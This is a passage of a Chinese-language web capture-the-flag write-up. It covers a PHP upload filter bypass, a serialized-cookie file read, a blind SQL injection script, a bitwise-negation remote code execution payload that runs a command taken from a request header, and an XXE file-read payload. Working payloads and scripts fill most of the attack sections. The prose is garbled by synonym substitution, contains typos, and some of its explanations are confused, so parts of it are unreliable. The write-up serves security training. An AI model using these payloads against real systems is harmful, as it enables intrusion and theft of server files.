  3.     $blacklist = ["\$_", "eval","copy" ,"assert","usort","include", "require", "$", "^", "~", "-", "%", "*","file","fopen","fwriter","fput","copy","curl","fread","fget","function_exists","dl","putenv","system","exec","shell_exec","passthru","proc_open","proc_close", "proc_get_status","checkdnsrr","getmxrr","getservbyname","getservbyport", "syslog","popen","show_source","highlight_file","`","chmod"];
  4.     foreach($blacklist as $blackword){
  5.         if(stristr($var, $blackword)) return True;
  6.     }
  7.     return False;
  8. }
  9. error_reporting(0);
  10. //设置上传目录
  11. define("UPLOAD_PATH", "./uploads");
  12. $msg = "Upload Success!";
  13. if (isset($_POST['submit'])) {
  14. $temp_file = $_FILES['upload_file']['tmp_name'];
  15. $file_name = $_FILES['upload_file']['name'];
  16. $ext = pathinfo($file_name,PATHINFO_EXTENSION);
  17. if(!preg_match("/php/i", strtolower($ext))){
  18. die("俺不要图片,熊大");
  19. }
  20. $content = file_get_contents($temp_file);
  21. if(waf($content)){
  22.     die("哎呦你干嘛,小黑子...");
  23. }
  24. $new_file_name = md5($file_name).".".$ext;
  25.         $img_path = UPLOAD_PATH . '/' . $new_file_name;
  26.         if (move_uploaded_file($temp_file, $img_path)){
  27.             $is_upload = true;
  28.         } else {
  29.             $msg = 'Upload Failed!';
  30.             die();
  31.         }
  32.         echo $msg."  ".$img_path;
复制代码
但是1使用“file_get_contents”举行文件读取,上传时发现也被过滤了,考虑是不是关键字过滤;
接着尝试使用16进制编码file_get_contents,举行读取/flag,发现没有回显,考虑是否不是存放在/flag内,接着使用“GlobIterator”类来寻找flag,那这里可能有的师傅就有疑问了什么是“GlobIterator类”?;
什么是GlobIterator类?
   GlobIterator 类是 PHP 中的一部分,它继承自 FilesystemIterator,用于遍历符合指定模式的文件路径。这个类使用了所谓的 “glob” 模式,即类似于 shell 中的通配符匹配。与 glob() 函数差别,GlobIterator 是一个迭代器,允许你通过 foreach 等方式遍历匹配的文件。
  重要特点


  • GlobIterator 是一种基于迭代器的方式来处置惩罚目录中的文件或文件名的模式匹配。
  • 它允许你遍历目录,并获取符合指定通配符的文件或目录。
  • 与 glob() 函数差别的是,它以迭代器的方式工作,可以处置惩罚大文件集合而不会斲丧大量内存。
示例代码
<?php // 创建一个 GlobIterator 对象,匹配当前目录下的所有 .php 文件 $iterator = new GlobIterator('*.php'); // 使用循环来遍历匹配的文件 foreach ($iterator as $file) { echo $file->getFilename() . "\n"; } ?>
上面的例子会遍历当前目录下所有 .php 文件,并输出其文件名。
GlobIterator 构造函数
public GlobIterator::__construct ( string $pattern [, int $flags = FilesystemIterator::KEY_AS_PATHNAME ] )


  • $pattern:指定文件的路径模式,使用 glob 通配符。
  • $flags:用于控制迭代器行为的标志,可选,默认使用 KEY_AS_PATHNAME。
通配符示例


  • *:匹配恣意字符串(包括空字符串)。
  • ?:匹配单个恣意字符。
  • {}:匹配指定的字符集合,例如 {a,b,c} 会匹配 a、b 或 c。
  • []:匹配指定范围内的单个字符。
那我们就开始构造直接构造payload;
  1. <?php echo new GlobIterator('/f('|'/f"'); ?>
复制代码
简单分析一下;


  • GlobIterator:这是 PHP 中的一个类(刚刚简单说了这里不再强调),用于遍历符合指定模式的文件路径。它基于 glob 函数,可以迭代与某个模式匹配的文件或目录。例如,GlobIterator('/path/to/*') 可以遍历 /path/to/ 目录下所有符合 *(即所有文件)的路径。
  • 参数题目:在我们这段payload中,通报给 GlobIterator 的路径参数是 '/f('|'/f"',这是文件的路径、文件名匹配模式。
  • 目的攻击:通报非标准的模式可能是为了观察程序如那里理路径的界限环境,目的是发现漏洞。

访问一下文件路径:/uploads/860e4fb4a92c175053cb3609efca5a9a.php

也是成功得到“flag”文件,接着再使用“file_get_contents()”读取 flag——fl1111111111ag;
这边方法不唯一,可以使用“16进制编码”file_get_contents举行读取,也可以使用“字符串拼接”绕过,这里两种我都举行演示一遍;
首先是“十六进制”;
  1. "\x66\x69\x6c\x65\x5f\x67\x65\x74\x5f\x63\x6f\x6e\x74\x65\x6e\x74\x73"
  2. file_get_contents
复制代码
转为十六进制:
   <?php ​file_get_contents("/fl1111111111ag") ?>
  得到;
  1. <?php echo ("\x66\x69\x6c\x65\x5f\x67\x65\x74\x5f\x63\x6f\x6e\x74\x65\x6e\x74\x73")('/fl1111111111ag');
复制代码
传入直接而且直接访问试试看;

访问:/uploads/860e4fb4a92c175053cb3609efca5a9a.php
得到;

那这里我们换一种方法,“字符串拼接”绕过试试看;
“字符串拼接”:
  1. <?php echo ('fil'.'e_ge'.'t_cont'.'ents')('/fl1111111111ag');
复制代码
得到;

同样的;

至此;
  1. flag{ddee21b5a5054489b7f0ec489f65d740}
复制代码
6、WEB-ctf_whereisthedong

题目描述:
找漏洞
解题思绪
根据题目描述我们可知这是一题找漏洞的题,那我们打开靶机看看是怎么个回事吧;

一个登录入口,这边是可以注册账号暗码的,那我们尝试注册一个“admin”的账号暗码试试看;

注册完毕,返回主页尝试举行登录,发现登录确实没有题目;

点击“Create post”,发现两个输入点,怀疑这是注入点,但是尝试了一下发现并不是;

得到;

也照旧啥也没有发现,找了半天也照旧没有发现洞在那里,那我们就尝试一层一层使用“bp”抓包举行分析试试看;

直接点击“Create post”抓包,很快就发现了疑点,发现这个“cookie”有点不对劲啊,怀疑可能是“base64”的,直接丢去解码试试看;
  1. Cookie: user=Tzo0OiJVc2VyIjoyOntzOjc6InByb2ZpbGUiO086NzoiUHJvZmlsZSI6Mjp7czo4OiJ1c2VybmFtZSI7czo1OiJhZG1pbiI7czoxMjoicGljdHVyZV9wYXRoIjtzOjI3OiJpbWFnZXMvcmVhbF9wcm9ncmFtbWVycy5wbmciO31zOjU6InBvc3RzIjthOjA6e319
复制代码
base64解码在线

得到;
  1. O:4:"User":2:{s:7:"profile";O:7:"Profile":2:{s:8:"username";s:5:"admin";s:12:"picture_path";s:27:"images/real_programmers.png";}s:5:"posts";a:0:{}}
复制代码
简单分析一下;
   首先可以肯定的就是这段代码是序列化后的 PHP 对象,序列化是将对象转换为可存储或传输的字符串格式。这里使用了 PHP 的对象序列化格式。
  

  • O:4:"User":2


  • O:4:"User":2 表现一个类名为 User 的对象,4 是类名的长度,2 表现对象有两个属性。

  • s:7:"profile"


  • s:7:"profile" 表现 User 类的一个属性,属性名为 profile,范例是 Profile 类对象。

  • O:7:"rofile":2


  • O:7:"rofile":2 表现 Profile 类对象,7 是类名的长度,2 表现它有两个属性。

  • s:8:"username"; s:5:"admin"


  • s:8:"username"; s:5:"admin" 表现 Profile 类的属性 username 值为 admin,是一个字符串,长度为 5。

  • s:12:"picture_path"; s:27:"images/real_programmers.png"


  • 这个部分表现 Profile 类的另一个属性 picture_path,它的值为 images/real_programmers.png。
重点——picture_path 分析
picture_path 代表用户的头像路径或图片的文件路径,具体属性解释如下:


  • 值:images/real_programmers.png

    • 这是一个图片文件的相对路径,表现头像或图片存储在 images/ 目录下,文件名为 real_programmers.png。

  • 漏洞: 很显然系统是没有对 picture_path 举行得当的验证或过滤,那我们就可以通过修改这个路径来指向其他敏感文件,甚至可能举行文件包含攻击(例如本地文件包含,LFI)。例如,如果我们修改 picture_path,就可以通过如下方式引导服务器加载其他文件:

    • 指向系统中的敏感文件(如 /etc/passwd),引发信息泄漏。
    • 执行远程文件包含攻击(如果允许外部 URL)。


  • s:5:"posts"; a:0:{}


  • s:5:"posts"; a:0:{} 表现 User 对象中的另一个属性 posts,它是一个空数组。
总结


  • picture_path 属性存储用户头像或图片的路径,但如果不严格限制或过滤这个路径,可能会导致严峻的文件包含或信息泄漏题目。因此我们就可以使用这一点来举行“文件读取”;
返回刚刚的页面,右键选中谁人图片“查抄”;

这里已经很明显了,页面上的图片,并不是一个地点,而是直接“base64编码”的。以是这里确定有个文件读取。

那我们直接在原有的“cookie”中举行修改;
  1. O:4:"User":2:{s:7:"profile";O:7:"Profile":2:{s:8:"username";s:5:"admin";s:12:"picture_path";s:9:"/flag.txt";}s:5:"posts";a:0:{}}
复制代码
修改为直接读取“flag.txt”;

得到的“cookie”;
  1. Tzo0OiJVc2VyIjoyOntzOjc6InByb2ZpbGUiO086NzoiUHJvZmlsZSI6Mjp7czo4OiJ1c2VybmFtZSI7czo1OiJhZG1pbiI7czoxMjoicGljdHVyZV9wYXRoIjtzOjk6Ii9mbGFnLnR4dCI7fXM6NToicG9zdHMiO2E6MDp7fX0%3D
复制代码
那我们直接举行更换原有的“cookie”,这里直接“F12”即可;

直接双击举行更换,接着保存刷新一下会发现原有的图片不见(由于已经被我们更换成“flag.txt”了),以是这时候我们只需要右键选中图片“查抄”找到图片的“base64”编码举行解码即可;

“base64”解码得到;

至此;
  1. flag{e0eb69371ca6105d6e0fb5ccf736c001}
复制代码
7、WEB- ctf_hello

题目描述:
hello
解题思绪
打开靶机,大抵看一眼发现是SQL注入,如图下;

简单分析一下;
这个 PHP 代码片断重要是一个基于 SQL 的身份认证和信息显示页面,而且有一些防护机制针对常见的 SQL 注入攻击。
代码逻辑:

  • 数据库连接:
    $con = mysqli_connect("127.0.0.1", "root", "root", "ctf");

    • 使用 mysqli_connect 函数连接到 MySQL 数据库,数据库的主机为 127.0.0.1(本地),用户名为 root,暗码是 root,数据库名称是 ctf。
    • 如果连接失败,默认环境下不会有任何错误报告。

  • 处置惩罚 key 参数:
    if (!empty($_GET["key"])) { // key is in hex $result = mysqli_query($con, "select `id`, `key` from access_key"); if ($result) { $row = mysqli_fetch_array($result); if ($row["key"] === $_GET["key"]) { echo file_get_contents("/flag"); } } die(); }

    • 如果 GET 请求中存在 key 参数,代码会从 access_key 表中查询 id 和 key 字段。
    • 比力数据库中查询出来的 key 和用户传入的 key,如果匹配,则读取 /flag 文件的内容,并输出其内容。
    • 安全题目: 这里没有对用户输入的 key 举行过滤或处置惩罚,可能导致直接泄漏文件内容。

  • 检察源代码:
    if (empty($_GET["id"])) { highlight_file(__FILE__); exit(); }

    • 如果 GET 请求中没有 id 参数,代码会使用 highlight_file(__FILE__) 函数显示当前 PHP 文件的源代码,可能是为了调试或训练目的。

  • ID 过滤与SQL注入防护:
    $filter = "select|and|where|union|join|sleep|benchmark|like|rlike|regexp|update|insert"; if (preg_match("/".$filter."/is", $id) == 1){ die("Hacker..."); }

    • preg_match 用正则表达式查抄 id 参数是否包含一些 SQL 关键词,比如 select、and、where、union 等常见的 SQL 注入伎俩。
    • 如果检测到这些关键词,则显示 “Hacker…” 并终止执行。
    • 安全题目: 这个过滤器只匹配了部分关键词,我们仍旧可能通过其他方式绕过过滤,举行 SQL 注入。例如,使用 --(注释符号)绕过后续的查询语句。

  • SQL 查询与数据输出:
    $result = mysqli_query($con, "select * from user where id=$id"); if ($result) { $row = mysqli_fetch_array($result); $id = $row['id']; $username = $row['username']; echo "<h1>Welcome $username</h1><br>"; }

    • 这里执行了 SQL 查询,直接将用户传入的 id 参数拼接到 SQL 语句中,形成了典型的 SQL 注入点。
    • 如果查询成功,从结果集中提取 id 和 username 并显示欢迎信息。

关键;

  • 文件读取题目:

    • 通过匹配数据库中的 key 值,直接读取 /flag 文件内容。如果我们可以打出 key 值,则可以轻松获取flag文件。

  • SQL 注入风险:

    • 尽管使用了关键词过滤,仍旧容易被绕过。
    • 直接将用户输入拼接进 SQL 查询语句,极易受到 SQL 注入攻击的影响。可以通过使用参数化查询来防御这种攻击,比如使用 mysqli_prepare() 大概 PDO。

总结来说就是滤了“select”,而且“flag”不在雷同表上,也不存在堆叠注入,几乎无解,但是经查询最新的“mysql 8.0”有新的语法可以绕过 select。
TABLE 语句
具体语法:
  1. TABLE table_name [ORDER BY column_name] [LIMIT number [OFFSET number]]
复制代码
简单分析一下;
   这段代码用于从数据库表中按指定顺序检索数据,并可设置返回的行数以及偏移量。现在渐渐分析它的每个部分:
  

  • TABLE table_name:

    • TABLE 代表表格操作,它与 SQL 的 SELECT * FROM table_name 类似。



  • table_name 是你要查询的数据表名称。这个语法表现你筹划从指定的表中检索数据。

  • ORDER BY column_name:


  • ORDER BY 子句用于按指定的列对结果举行排序。
  • column_name 是根据哪个列来排序数据。例如,可以根据一个 id 列大概 name 列举行排序。
  • 可以选择使用 ASC(升序,默认)或 DESC(降序)来进一步控制排序顺序。

  • LIMIT number:


  • LIMIT 用于限制查询结果的行数。number 是返回的最大行数。
  • 如果你只希望返回特定数量的结果,比如前 10 行,使用 LIMIT 10。

  • OFFSET number:


  • OFFSET 是从查询结果的第几行开始返回数据,number 表现偏移量。
  • 例如,LIMIT 10 OFFSET 5 会跳过前 5 行,从第 6 行开始返回 10 行数据。
  • 这对于分页查询非常有效。比如分页显示时可以使用 LIMIT 10 OFFSET 10 来显示第二页的数据。
示例:
假设有一张 users 表,想要查询所有效户,并按用户的 id 举行升序排序,限制返回前 10 行,跳过前 5 行。SQL 语句可以写成:
SELECT * FROM users ORDER BY id ASC LIMIT 10 OFFSET 5;


  • ORDER BY id ASC:按 id 列升序排序。
  • LIMIT 10:最多返回 10 行数据。
  • OFFSET 5:从第 6 行开始返回数据,跳过前 5 行。
关键要点:


  • ORDER BY 用于排序。
  • LIMIT 控制返回行数。
  • OFFSET 用于跳过前几行,常与 LIMIT 搭配用于分页。
总的来说,这个语法重要是为 SQL 查询提供排序、限制返回结果的数量和偏移量功能,常用于大表分页查询或需要只获取部分数据的场景。
实在从语法上看,可以排序,也可以过滤记录集,不过比力简单,没有 SELECT 那么强大。
  1. table access_key limit 1 等价于 select * from access_key limit 1
复制代码
由于测试了发现没有回显,因此可以构造如下查询方法;
  1. # 通过逐个字符遍历,当右边条件成立时,id 为 1 的回显,否则无回显
  2. # (1, 'key') 这里的字段个数和顺序需和右边 table access_key 返回的字段一致,否则一样无结果
  3. id=-1 or (1, 'key') < (table access_key limit 1)
复制代码
传参得到;

再根据之前我们分析到的access_key表存在两个字段,key 和 id,直接写一个脚本举行构造key;
脚本如下(Python)
  1. #!/usr/bin/env python
  2. import string
  3. import requests
  4. # 构建可猜测的字符列表,包括数字和字母
  5. char_list = list(string.digits + string.ascii_letters)
  6. # 将字符列表排序
  7. char_list.sort()
  8. print(char_list)
  9. # 定义目标 URL,假设它是一个存在 SQL 注入漏洞的页面
  10. url = "http://10.246.19.155:43887/"
  11. key = ""  # 存储逐步猜测出来的 key
  12. # 开始无限循环,用于逐字符猜测 key
  13. while True:
  14.     # 遍历字符列表中的每一个字符
  15.     for i, c in enumerate(char_list):
  16.         # 如果字符是单引号(SQL 中的特殊字符),则需要转义
  17.         if c == "'":
  18.             c = "\\'"
  19.         
  20.         # 构造注入的 SQL 语句,猜测 key 的下一个字符是否为 c
  21.         sql = "-1 or (1, '{}{}') < (table access_key limit 1)".format(key, c)
  22.         # 注释掉的调试代码,用于查看构造的 SQL 语句
  23.         # print(sql)
  24.         
  25.         # 发送构造好的 SQL 语句,通过 GET 请求发送 id 参数
  26.         r = requests.get(url, params={"id": sql})
  27.         
  28.         # 检查返回的页面内容是否不包含 "mike",如果不包含,说明猜测的字符正确
  29.         if "mike" not in r.text:
  30.             # 如果猜测正确,添加这个字符到 key 中,逐步构造完整的 key
  31.             key += char_list[i - 1]
  32.             # 输出当前猜测出来的 key 片段
  33.             print(key)
  34.             break
  35.     else:
  36.         # 如果当前字符列表中的字符都无法匹配,结束猜测循环
  37.         break
复制代码
这边已经全部加了注释,但照旧简单分析一下吧;

  • 字符集定义与排序: 脚本首先导入 string 模块,生成了一个字符集,这个字符集包含数字 (0-9) 和字母 (a-zA-Z)。char_list.sort() 对字符集举行了排序,这有助于猜测的顺序变得有规律(按字典序举行猜测)。
  • SQL 注入的构造: 脚本通过循环遍历字符列表,逐字符猜测数据库中的 key。其中,SQL 注入语句的焦点部分是:
    -1 or (1, '{}{}') < (table access_key limit 1)
    其中,key 变量存储当前猜测正确的部分,而 c 是正在尝试猜测的下一个字符。注入通过逐字符比力数据库中的内容与构造的字符串。
  • 发送请求并判断: requests.get(url, params={"id": sql}) 发送带有 SQL 注入的请求,并判断返回内容中是否不包含字符串 “mike”。如果返回结果符合条件,说明当前字符是猜测正确的,脚本将其追加到 key 中,渐渐还原整个 key 值。
  • 循环与退出

    • 当遍历完字符集后,若没有找到合适的字符,循环将退出。
    • 当找到一个正确字符时,脚本继续下一轮循环,直到构造出完整的 key。

重点:


  • 注入思绪:这段脚本使用的是基于字符比力的 SQL 注入技术,每次只猜测 key 中的一个字符,并通过对比返回结果判断猜测的正确性。
  • 防止字符注入错误:为了避免引号等特别字符干扰 SQL 注入,脚本将单引号 (') 转义为 \\'。
总的来说,这段代码是一个逐字符猜测 access_key 表中 key 字段的 SQL 注入脚本,使用的是基于渐渐匹配字符的暴力破解思绪。
运行得到;

最后也是跑到的key:6e283ec43b1eaf31ab0c1a18fb71d5fb
但是这里需要注意的是,由于最后一个字符是已经相等,因此现实上应该是c不是b
至此;
  1. # 传递 key 参数,拿到 flag
  2. /?key=6e283ec43b1eaf31ab0c1a18fb71d5fc
复制代码
8、WEB- ctf_babycode

题目描述:
找到flag.txt
解题思绪
这里给出提示题目描述“flag”在“flag.txt”文件中,那我们打开靶机看看怎么个事,如图下;

一眼望过去很明显的无参RCE,然后还不能有一些数字字母等等,以是这里我们可以考虑到取反绕过,那我们一起简单分析一下完整的吧;
代码分析:
highlight_file(__FILE__);
这行代码用于显示当前文件的源代码,通常用于调试或安全挑战(例如 CTF)中。它将当前 PHP 文件的代码高亮显示出来。
$c = $_GET['c'];
这一行从 URL 的查询参数 c 中获取用户通报的数据,并将其赋值给变量 $c。
if(preg_match('/\'|"|`|\ |,|\.|-|\+|[A-Za-z0-9]|=|\/|\\|<|>|\$|\?|\^|&|\|/is',$c) or strlen($c) > 60){ die('Hello'); }
这一段代码通过正则表达式对 $c 变量举行过滤,克制以下内容:


  • 单引号 (')、双引号 (")、反引号(`)
  • 空格、逗号(,)、点(.)、减号(-)、加号(+)
  • 字母数字字符 ([A-Za-z0-9])
  • 等号(=)、斜杠(/)、反斜杠(\)、小于号(<)、大于号(>)
  • 美元符号($)、问号(?)、插入符号(^)、以及逻辑符号(&、|)
别的,要求 $c 的长度不能超过 60 个字符。如果这些条件被满意,脚本将终止并输出 'Hello'。
过滤规则非常严格,克制了大多数常见的字符,尤其是字母和数字,意味着用户通报的参数不能包含一般的代码片断或表达式。
}else if( preg_replace('/[^\s\(\)]+?\((?R)?\)/', '', $c)===';'){ @eval($c); }
这一段是关键部分。这里的代码查抄 $c 是否可以通过某种形式的递归匹配,将其转换为空字符串后,剩下的部分是否是单个分号 (;)。
具体解析:


  • preg_replace('/[^\s\(\)]+?\((?R)?\)/', '', $c):这个正则表达式匹配的是不包含空格和圆括号的内容,递归地匹配括号对。最终,它希望 $c 的形式为嵌套函数或表达式的布局,比如 (something)。
  • 如果 $c 颠末正则更换后等于 ';',则执行 eval($c),即执行通报的代码。
else { die('Keep trying'); }
如果条件不符合,则提示用户继续尝试。
绕过分析:
由于过滤掉了字母、数字、和常见的符号,常规的代码执行方式(如通报函数名或变量)将无法使用。然而,我们可以考虑取反绕过,即使用 PHP 中的取反运算符(如 ~),将字符通过 ASCII 值取反,绕过字符集的限制来生成可执行代码。


  • eval() 会执行 PHP 代码,以是绕过的目的是通过构造某种复杂的布局,让 $c 变成可执行代码。
取反绕过思绪:
在 PHP 中,~(按位取反)可以用于将字符的 ASCII 值取反。通过这种方式,可以避免直接使用字母或数字。例如,取反后的一些值可以通过函数还原为原始字符或操作。
假设我们需要执行一些代码,而不能直接使用常规字符。可以通过编码一些函数名或代码,再通过反转的方式规复它们。
那我们简单构造一下“// phpinfo 的值”;
  1. ?c=[~%8f%97%8f%96%91%99%90][!%FF]();
复制代码
这里注意:加这个[%FF]只是由于php7的解析方式,当然换成其他的也可以例如[%EF] [~%CF]
传参得到;

测试成功,同样的本领,构造出 system(current(getallheaders()));举行文件读取;
  1. ?c=[~%8c%86%8c%8b%9a%92][!%FF]([~%9c%8a%8d%8d%9a%91%8b][!%FF]([~%98%9a%8b%9e%93%93%97%9a%9e%9b%9a%8d%8c][!%FF]()));
复制代码
简单分析一下;
   这个 ?c=[~%8c%86%8c%8b%9a%92][!%FF]([~%9c%8a%8d%8d%9a%91%8b][!%FF]([~%98%9a%8b%9e%93%93%97%9a%9e%9b%9a%8d%8c][!%FF]()));
是一种通过取反操作和编码构造的复杂表达式,可以绕过过滤规则,执行代码。
  代码布局分析:
这段代码使用了字符编码的方式,并使用了按位取反运算符 ~ 来尝试绕过正则表达式的过滤。通过构造字符编码,并举行按位取反,最终还原出可执行的 PHP 代码。
重要部分:

  • [~%8c%86%8c%8b%9a%92][!%FF]

    • ~ 是按位取反运算符,%8c%86%8c%8b%9a%92 是 URL 编码后的字符序列。使用 % 表现的是十六进制编码,而这些编码现实上是字符的 ASCII 值。
    • ~ 运算符会对这些字符的二进制表现举行按位取反,使它们从编码值转为现实的字符。
    • [!%FF] 通常用于取反后的数组访问(或索引操作)。但是在这个上下文中,%FF 可能代表某种特别处置惩罚方式,也可能是一种用于绕过字符过滤的技巧。

  • ([~%9c%8a%8d%8d%9a%91%8b][!%FF]([~%98%9a%8b%9e%93%93%97%9a%9e%9b%9a%8d%8c][!%FF]()));

    • 这一段在布局上表现的是嵌套函数调用。([~<encoded>][!%FF]()) 表现先对 ~ 后的编码部分举行取反,然后再执行函数调用。

分析关键点:


  • 取反运算:通过按位取反来获得真实的字符。这种方法可以有效绕过过滤规则,由于在取反之前,过滤器无法识别出这些字符的现实含义。例如,~%8c 的取反可能会还原为某个 PHP 函数的字符或变量。
  • 绕过策略:整个请求通过 URL 编码、取反运算和嵌套函数调用的方式,避免了直接使用字母、数字等常见符号,进而绕过正则表达式的检测,特别是对字母和数字的严格限制。
最后添加头部“x:”下令,那这里可能有的师傅就迷惑了;
  1. GET /?c=[~%8c%86%8c%8b%9a%92][!%FF]([~%9c%8a%8d%8d%9a%91%8b][!%FF]([~%98%9a%8b%9e%93%93%97%9a%9e%9b%9a%8d%8c][!%FF]()));
  2. HTTP/1.1Host: 10.246.19.155:40221Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.97 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: user=Tzo0OiJVc2VyIjoyOntzOjc6InByb2ZpbGUiO086NzoiUHJvZmlsZSI6Mjp7czo4OiJ1c2VybmFtZSI7czo1OiJhZG1pbiI7czoxMjoicGljdHVyZV9wYXRoIjtzOjI3OiJpbWFnZXMvcmVhbF9wcm9ncmFtbWVycy5wbmciO31zOjU6InBvc3RzIjthOjA6e319
  3. Connection: closex: cat /flag.txt
复制代码
简单来说就是在这个请求中,x: cat /flag 看起来是一个伪造或非法的 HTTP 请求头,通常用于尝试通过某种方式注入下令。让我们从几个方面举行分析:

  • x: cat /flag 的作用


  • 下令注入:在某些环境下,服务器可能会错误地解析或处置惩罚 HTTP 请求头。如果服务器没有对请求头举行得当过滤和验证,我们可以通过构造非法或不规范的请求头(如 x: cat /flag),尝试在服务器上执行下令。
  • 伪造的请求头:HTTP 协议允许自定义请求头。比如一些开发者可能会使用 X-Header 自定义字段来通报特定数据。如果服务器中存在某种漏洞,这种自定义字段(如 x: cat /flag)可能会触发下令执行。
这里的 cat /flag 是 Unix/Linux 系统中的一个下令,用于读取 /flag 文件的内容。我们就试图通过这种方式从服务器获取敏感信息。

  • 下令注入的更换方式
如果 x: cat /flag 无法工作或想换一个方式,可以尝试以下几种变体:


  • 差别的请求头字段:可以尝试差别的自定义头字段,比如 User-Agent: cat /flag,Referer: cat /flag,等。
  • 差别的下令组合:尝试其他常见的系统下令,如 ls, whoami, pwd 等,看看是否会被执行。
  • 结合输入点:如果你有其他可控的输入点(如 URL 参数、POST 数据、Cookies 等),可以尝试通过这些输入点注入下令。

  • 为何需要这个自定义头


  • 绕过防护机制:偶然正常的 URL 参数或请求体中的下令注入已经被防火墙(WAF)或服务器防护机制阻止了,但自定义请求头可能没有得到足够的查抄,以是我们使用这种方式绕过。
  • 借助未预期的执行路径:某些服务器程序或 Web 应用在处置惩罚请求头时,可能有意想不到的漏洞。例如,将请求头的内容当做参数通报给系统调用,大概解析请求头时出现了不妥的代码执行。

  • 总结


  • x: cat /flag 是一种使用 HTTP 请求头举行下令注入的尝试,通常是为了绕过现有的过滤机制或触发服务器漏洞。
  • 换一个下令是可以的,具体要看想要执行的操作和服务器的环境。
  • 这种注入技术依赖于服务器处置惩罚请求头的方式是否存在漏洞。
9、WEB- ohmsg

解题思绪
打开靶机,如图下;

“Ctrl+u”简单检察源码;

简单分析一下;
   简单来说开始,这个 JavaScript 代码通过 doLogin 函数实现了一个发送 XML 数据的 AJAX 请求,并处置惩罚返回的结果。具体分析如下:
  

  • 焦点功能
该函数重要作用是:


  • 从页面上的一个输入框(#msg)获取用户输入。
  • 构造一个 XML 格式的数据(<msg>${msg}</msg>)。
  • 通过 AJAX 向 api.php 发起一个 POST 请求,并使用 application/xml 作为 Content-Type 头。
  • 根据服务器的相应,判断请求是否成功并弹出相应的提示。

  • 代码分析
  • 读取用户输入
var msg = $("#msg").val();


  • 使用 jQuery 读取页面上 id 为 msg 的输入框中的值,通常用于获取用户输入的文本。

  • 构造 XML 数据
var data = `<msg>${msg}</msg>`;


  • 使用模板字符串构造了一个 XML 格式的数据,将用户的输入包裹在 <msg></msg> 标签中。最终发送的数据形如:
    <msg>用户输入内容</msg>

  • 发送 AJAX 请求
$.ajax({ type: "OST", url: "api.php", contentType: "application/xml;charset=utf-8", data: data, dataType: "xml", anysc: false, // 注意这里应该是 "async: false"


  • type: "OST":向 api.php 发送一个 POST 请求。
  • contentType: "application/xml;charset=utf-8":指定请求头的内容范例为 application/xml,表现请求体中的数据是 XML 格式的。
  • data: data:请求体中的数据是构造的 XML 字符串 <msg>${msg}</msg>。
  • dataType: "xml":指定服务器返回的数据范例为 XML,表现希望服务器的相应内容也是 XML 格式。
  • anysc: false:这里拼写有误,应该是 async: false。当 async 设置为 false 时,AJAX 请求会变为同步执行,也就是欣赏器会等待请求完成再继续执行后续代码。

  • 处置惩罚成功或失败的相应
success: function (result) { alert("ok"); }, error: function (XMLHttpRequest,textStatus,errorThrown) { alert('error'); }


  • success 回调:当请求成功时,弹出 “ok” 的提示。
  • error 回调:如果请求失败,弹出 “error” 的提示。error 回调可以获取更多错误信息,比如 XMLHttpRequest, textStatus, errorThrown,这可以资助调试题目。
目的;
由于这个请求是将用户输入的数据直接包裹在 XML 中发送,存在以下漏洞:

  • XML 注入

    • 如果 msg 输入未被得当过滤,我们可以注入恶意 XML 内容,比如嵌套多个标签或使用特别字符,可能导致服务器解析错误,甚至引发一些 XML 解析器中的漏洞。

payload;
  1. <?xml version="1.0" encoding="UTF-8"?>
  2. <!DOCTYPE foo [
  3. <!ELEMENT foo ANY >
  4. <!ENTITY xxe PUBLIC "" "php://filter/convert.base64-encode/resource=/flag.txt"
  5. ]>
  6. <msg>&xxe;</msg>
复制代码
简单分析一下;
首先可以肯定的就是我们这段 XML 数据片断是一次典型的 XXE(XML External Entity) 攻击,使用 XML 外部实体注入来获取服务器上的敏感信息。具体分析如下:

  • 焦点目的
这段 XML 代码的焦点目的是通过外部实体注入来读取服务器上的文件,并通过 Base64 编码的方式对文件内容举行编码,最终返回给我们。

  • 代码布局分析
XML 声明
<?xml version="1.0" encoding="UTF-8"?>


  • 标准的 XML 声明,指定 XML 文档的版本和字符编码。
DTD 声明
<!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe PUBLIC "" "php://filter/convert.base64-encode/resource=/flag.txt" >]>


  • DOCTYPE:指定文档范例定义 (DTD),用来声明该 XML 的布局。这里定义了一个名为 foo 的元素,允许其内容为恣意(ANY)。
  • ENTITY xxe:这行定义了一个外部实体 xxe,将其指向一个文件流。具体是使用 PHP 的 php://filter 机制读取 /flag.txt 文件,而且通过 convert.base64-encode 过滤器将内容举行 Base64 编码。
实体引用
<msg>&xxe;</msg>


  • 这里的 <msg> 元素包含了对外部实体 xxe 的引用。现实上通报给服务器的是实体 xxe 的内容,即 /flag.txt 文件的 Base64 编码内容。

  • XXE 攻击的工作原理


  • XML External Entity (XXE) 攻击是使用不安全的 XML 解析器将外部实体注入到 XML 文档中。外部实体可以是文件、URL 等资源。
  • 在这个示例中,我们通过 DTD 声明了一个外部实体 xxe,并让解析器读取服务器上的 /flag.txt 文件内容。
  • 文件的内容会通过 php://filter 的机制举行 Base64 编码,然后返回给客户端。

  • php://filter 机制


  • php://filter 是 PHP 中的一种输入/输出流,可以在读取或写入数据时使用过滤器。这里使用了 convert.base64-encode 过滤器来将文件内容举行 Base64 编码,从而避免一些直接读取文件的限制(比如返回不可见字符时出错)。
  • 在这段代码中,读取 /flag.txt 文件并对其内容举行 Base64 编码,以便我们可以通过解码 Base64 规复出原始内容。
接着使用“bp”举行抓包传参并修改得到;

“base64”解码得到;

至此;
  1. flag{195b6cddf1d3e9a46d5ecb8a0cc27d6c}
复制代码
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

正序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

不到断气不罢休

金牌会员
这个人很懒什么都没写!
快速回复 返回顶部 返回列表